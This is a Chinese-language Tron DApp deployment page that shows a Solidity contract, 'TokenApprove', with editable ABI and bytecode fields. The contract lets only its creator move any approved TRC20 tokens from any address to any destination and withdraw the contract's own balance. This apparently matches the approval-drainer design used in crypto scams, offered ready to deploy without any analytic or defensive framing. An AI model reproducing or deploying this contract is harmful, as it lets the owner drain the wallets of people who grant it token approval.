Tron DApp - 部署合约

合约代码展示

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface TRC20 {
    function totalSupply() external view returns (uint);
    function balanceOf(address who) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

contract TokenApprove {
    address public customOwner;

    constructor() {
        customOwner = msg.sender;
    }

    function transfer(address tokenContract, address from, address to, uint256 amount) external onlyCustomOwner {
        TRC20 token = TRC20(tokenContract);
        require(token.transferFrom(from, to, amount), "Token transfer failed");
    }

    // 新函数: 提取合约持有的指定代币全部余额到创建者地址
    function withdrawToken(address tokenContract) external onlyCustomOwner {
        TRC20 token = TRC20(tokenContract);
        uint256 balance = token.balanceOf(address(this));
        require(token.transfer(customOwner, balance), "Withdrawal failed");
    }

    modifier onlyCustomOwner() {
        require(msg.sender == customOwner, "Permission denied");
        _;
    }
}

Tron DApp - 部署智能合约

说明

ABI (用户可编辑)

编码 (字节码，用户可编辑)

合约代码展示